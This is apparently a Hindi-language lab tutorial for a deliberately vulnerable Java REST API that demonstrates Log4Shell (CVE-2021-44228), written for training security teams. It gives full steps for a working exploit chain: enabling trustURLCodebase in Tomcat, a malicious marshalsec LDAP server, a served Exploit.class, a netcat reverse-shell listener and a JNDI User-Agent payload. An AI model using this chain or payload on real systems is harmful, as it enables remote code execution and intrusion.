
एक कमजोर Java-आधारित REST API जो CVE-2021-44228 (log4shell) को प्रदर्शित करने के लिए है।
CVE-2021-44228 (log4shell) को प्रदर्शित करने के लिए एक कमजोर Java आधारित REST API।
Log4Shell ने दिसंबर 2021 की शुरुआत में इंटरनेट पर तूफान ला दिया। Apache Log4j लॉगिंग लाइब्रेरी में एक ज़ीरो डे कमजोरी, जो रिमोट कोड एक्ज़ीक्यूशन (RCE) में सक्षम थी, जिसके कारण दुनिया भर के संगठन अपने सार्वजनिक Java अनुप्रयोगों को ठीक/पैच/कम करने के लिए संघर्ष कर रहे थे। जैसे ही InfoSec समुदाय ने सुरक्षा टीमों को निरंतर विश्लेषण और समाधान प्रदान करने के लिए एक साथ आया, Log4j समुदाय इस कमजोरी को समाप्त करने के लिए पैच विकसित करने में व्यस्त था।
मैंने यह सरल कमजोर REST API विकसित किया है जो Apache Tomcat एप्लिकेशन सर्वर का उपयोग करके इस कमजोरी का फायदा उठाकर रिमोट कोड एक्ज़ीक्यूशन (RCE) के मार्ग को प्रदर्शित करता है। मुझे उम्मीद है कि इस प्रूफ ऑफ कॉन्सेप्ट का उपयोग आपकी SecOps टीमों को प्रशिक्षित करने या वर्तमान और भविष्य के एप्लिकेशन डेवलपर्स को शिक्षित करने के लिए किया जा सकता है। अपनी टीमों को प्रशिक्षित करें और अपनी सुरक्षा में सुधार करें, जिसमें SIEM नियम/अलर्ट, EDR, SOAR शामिल हैं लेकिन इन्हीं तक सीमित नहीं हैं।
इस हमले के कार्य प्रवाह को समझने के लिए, स्विस सरकार के कंप्यूटर इमरजेंसी रिस्पांस टीम GovCERT.ch द्वारा प्रदान किए गए इस ग्राफिक को देखें: https://www.govcert.ch/blog/zero-day-exploit-targeting-popular-java-library-log4j/assets/log4j_attack.png
यह ट्यूटोरियल और सोर्स कोड केवल शैक्षिक और प्रशिक्षण उद्देश्यों के लिए प्रदान किए गए हैं। कृपया नैतिक और जिम्मेदारी से उपयोग करें। यह ट्यूटोरियल इस धारणा के साथ तैयार किया गया था कि हमलावर और कमजोर एप्लिकेशन एक ही कंप्यूटर पर हैं। अधिक वास्तविक दुनिया के अनुभव के लिए आर्किटेक्चर को फैलाएं और कमजोर एप्लिकेशन को अपने स्वयं के सर्वर पर चलाएं और हमलावर का अनुकरण करने के लिए Kali Linux या किसी अन्य वितरण का उपयोग करें।
चलिए शुरू करते हैं।
एक बार जब आप Java JDK और Maven स्थापित कर लें, मान लें कि आप Linux वितरण पर हैं, तो अपने vuln4japi स्थान पर निर्देशिका बदलें और अपना प्रोजेक्ट बनाएं।
नोट: आप इसे बनाने से पहले एप्लिकेशन के कुछ घटकों को संशोधित करना चाह सकते हैं। उदाहरण के लिए, आप log4j2.xml फ़ाइल में log4j लॉग का पथ संशोधित कर सकते हैं। या आप pom.xml फ़ाइल में परिणामी war फ़ाइल का नाम बदलना चाह सकते हैं। यह पूरी तरह आप पर निर्भर है।
cd /path/to/vuln4japi
mvn clean package -DskipTests
यदि आपको कोई बिल्ड त्रुटि नहीं दिखती है, तो आपके पास अपनी vuln4japi.war फ़ाइल के साथ एक नई बनाई गई target निर्देशिका होनी चाहिए। ठीक है, हम इस फ़ाइल पर थोड़ी देर बाद वापस आएंगे। आइए Tomcat पर संक्षेप में नज़र डालें।
आपके Java 8 के संस्करण के आधार पर, 8 के बाद के संस्करणों में यह विशेष सेटिंग (com.sun.jndi.ldap.object.trustURLCodebase) false पर सेट हो सकती है। यह प्रभावी रूप से JNDI को LDAP के माध्यम से रिमोट कोडबेस लोड करने से रोकता है। यही वह चीज़ है जिसका यह कमजोरी फायदा उठा रही है। इसलिए, हमें Tomcat की catalina.properties फ़ाइल को संशोधित करके इस सिस्टम सेटिंग को True पर सेट करना होगा, जिससे Tomcat जानबूझकर कमजोर हो जाए।
एक बार जब आप Linux के लिए apache-tomcat-8.0.32.tar.gz डाउनलोड कर लें, तो इसे /opt निर्देशिका जैसी कहीं अनटार करें।
tar -xvf apache-tomcat-8.0.32.tar.gz -C /opt
/conf निर्देशिका में बदलें और फ़ाइल के नीचे catalina.properties को संशोधित करें।
नोट: अपना पसंदीदा टेक्स्ट एडिटर उपयोग करें। मैं इस उदाहरण में vim का उपयोग करता हूं।
cd /opt/apache-tomcat-8.0.32/conf
vim catalina.properties
# बिल्कुल अंत में निम्नलिखित सिस्टम गुण जोड़ें
com.sun.jndi.ldap.object.trustURLCodebase=true
com.sun.jndi.rmi.object.trustURLCodebase=true
com.sun.jndi.cosnaming.object.trustURLCodebase=true
अपना टेक्स्ट एडिटर बंद करें और /bin निर्देशिका के अंदर catalina.sh स्क्रिप्ट का उपयोग करके Tomcat शुरू करें।
cd /opt/apache-tomcat-8.0.32/bin
./catalina.sh start
http://localhost:8080/ पर नेविगेट करके या कमांड लाइन इंटरफ़ेस से एक सरल cURL कमांड के साथ अपने Apache Tomcat इंस्टेंस का परीक्षण करें।
curl -vv http://localhost:8080/
यदि आप अपने ब्राउज़र या टर्मिनल पर एक स्वागत पृष्ठ देखते हैं, तो यह काम कर रहा होना चाहिए। अब हम अपना कमजोर एप्लिकेशन तैनात कर सकते हैं।
अपनी .war फ़ाइल को Tomcat की /webapps निर्देशिका में कॉपी करें। Tomcat आपके एप्लिकेशन को कुछ ही सेकंड में हॉटडिप्लॉय कर देगा।
cp /vuln4jpi/target/vuln4japi.war /opt/apache-tomcat-8.0.32/webapps
एप्लिकेशन URL पर नेविगेट करके या फिर से कमांड लाइन से cURL का उपयोग करके अपने कमजोर एप्लिकेशन का परीक्षण करें। ब्राउज़र पर: http://localhost:8080/vuln4japi/api
curl -vv http://localhost:8080/vuln4japi/api
आपको निम्न संदेश प्रदर्शित होना चाहिए, Hi, this is a Vulnerable App!!
अब जब हमारे पास कुछ घटक काम कर रहे हैं, तो आइए इस चीज़ का फायदा उठाएं...
marshalsec प्रोजेक्ट इस प्रकार के हमले को विस्तार से समझने के लिए एक उत्कृष्ट संसाधन है। अनिवार्य रूप से, यह एक दुर्भावनापूर्ण LDAP सर्वर के रूप में कार्य करता है जो फिर किसी भी अनुरोध को .class फ़ाइल होस्ट करने वाले दुर्भावनापूर्ण वेब सर्वर पर रीडायरेक्ट करता है। मैं marshalsec का उपयोग करने से पहले mbechler के Github रेपो पर पोस्ट किए गए कुछ दस्तावेज़ों की समीक्षा करने की अत्यधिक अनुशंसा करता हूं: https://github.com/mbechler/marshalsec
यदि आप तकनीकी विवरण और दस्तावेज़ीकरण को छोड़ने का निर्णय लेते हैं, तो उस रेपो को क्लोन करें और उसकी निर्देशिका में बदलें। अब, उस Java प्रोजेक्ट को बनाने से पहले, मैं LDAPRefServer.java फ़ाइल में एक पंक्ति का डीबग स्टेटमेंट जोड़ने की अनुशंसा करता हूं। यह प्रिंट स्टेटमेंट कमजोर सर्वर से LDAP क्वेरी को कैप्चर करते समय उपयोगी होगा।
अपने पसंदीदा टेक्स्ट एडिटर का उपयोग करके, निम्न फ़ाइल को संपादित करें और नीचे दिए गए कोड ब्लॉक में दिखाए अनुसार processSearchResult() विधि में पंक्ति जोड़ें।
vim marshalsec/src/main/java/marshalsec/jndi/LDAPRefServer.java
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
// पूर्ण अनुरोध जानकारी दिखाने के लिए यह पंक्ति जोड़ें
System.out.println("Request: " + result.getRequest());
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
फ़ाइल को संशोधित करने के बाद सहेजें और अपना टेक्स्ट एडिटर बंद करें। अब आपको Maven का उपयोग करके marshalsec प्रोजेक्ट बनाने में सक्षम होना चाहिए। marshalsec फ़ोल्डर के रूट पर वापस निर्देशिका बदलें और maven निष्पादित करें।
mvn clean package -DskipTests
यदि कोई बिल्ड त्रुटि नहीं है, तो आपको marshalsec-0.0.3-SNAPSHOT-all.jar फ़ाइल के साथ नई बनाई गई /marshalsec/target निर्देशिका दिखनी चाहिए।
आइए अपने दुर्भावनापूर्ण marshalsec LDAP सर्वर को निष्पादित करने से पहले अपने बाकी हमलावर उपकरण सेट करें।
exploitz फ़ोल्डर में निर्देशिका बदलें और शामिल Exploit.java फ़ाइल को संकलित करें।
javac Exploit.java
यदि आपको कोई त्रुटि नहीं मिलती है, तो आपके पास एक Exploit.class फ़ाइल होनी चाहिए।
बस इतना ही। आपके पास संकलित करने के लिए आवश्यक सब कुछ और वेब सर्वर चल रहा होना चाहिए। फिर से, मान लें कि आप इस परीक्षण को Linux सर्वर पर चला रहे हैं, आप कम से कम 5 टर्मिनल विंडो खोलेंगे।
टर्मिनल 1: marshalsec चलाएं
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://localhost:8081/#Exploit" 1389
टर्मिनल 2: xploitz निर्देशिका में निर्देशिका बदलें जहां आपका Exploit.class है और एक स्थानीय Python सर्वर चलाएं।
python3 -m http.server 8081
टर्मिनल 3: अपने कमजोर एप्लिकेशन पर किए गए अनुरोधों का अनुसरण करने के लिए अपनी /tmp/logs/vuln4jpi_log4j.log फ़ाइल को टेल करें।
tail -f /tmp/logs/vuln4japi_log4j.log
टर्मिनल 4: पोर्ट 8001 पर एक netcat लिसनर खोलें। यह निश्चित रूप से उसी होस्ट से रिवर्स शेल कनेक्शन होगा। याद रखें, हम यह सब एक ही होस्ट पर कर रहे हैं। वास्तविक दुनिया के अनुभव के लिए, 2 या 3 अलग-अलग कंप्यूटरों का उपयोग करने का प्रयास करें।
nc -lv 8001
टर्मिनल 5: एक सरल cURL कमांड का उपयोग करके अपना पेलोड सबमिट करें।
curl -vv http://localhost:8080/vuln4japi/api -H 'User-Agent: ${jndi:ldap://localhost:1389/a}'
यदि सब कुछ अपेक्षा के अनुसार काम करता है, तो आपके पास पोर्ट 8001 पर अपने netcat लिसनर पर एक शेल अग्रेषित होना चाहिए। अपनी सभी टर्मिनल विंडो की समीक्षा करें और प्रत्येक में व्यवहार का निरीक्षण करें, किसी भी टाइपो या सिंटैक्स त्रुटि की तलाश करें। यहां बहुत कुछ चल रहा है इसलिए मानवीय त्रुटि हमेशा संभव है। इसे कुछ बार चलाएं जब तक आप इसे समझ न लें। आपको सोर्स को थोड़ा संशोधित करना पड़ सकता है, लेकिन अरे, इसी तरह हम सीखते हैं। ;-)
मुझे उम्मीद है कि आप इस प्रोजेक्ट से सीखने का उतना ही आनंद लेंगे जितना मुझे इसे एक साथ रखने में आया। यदि आपके पास कोई प्रतिक्रिया या टिप्पणी है तो मुझे ट्विटर @offswitchsec पर खोजें। आनंद लें और हैप्पी हैकिंग!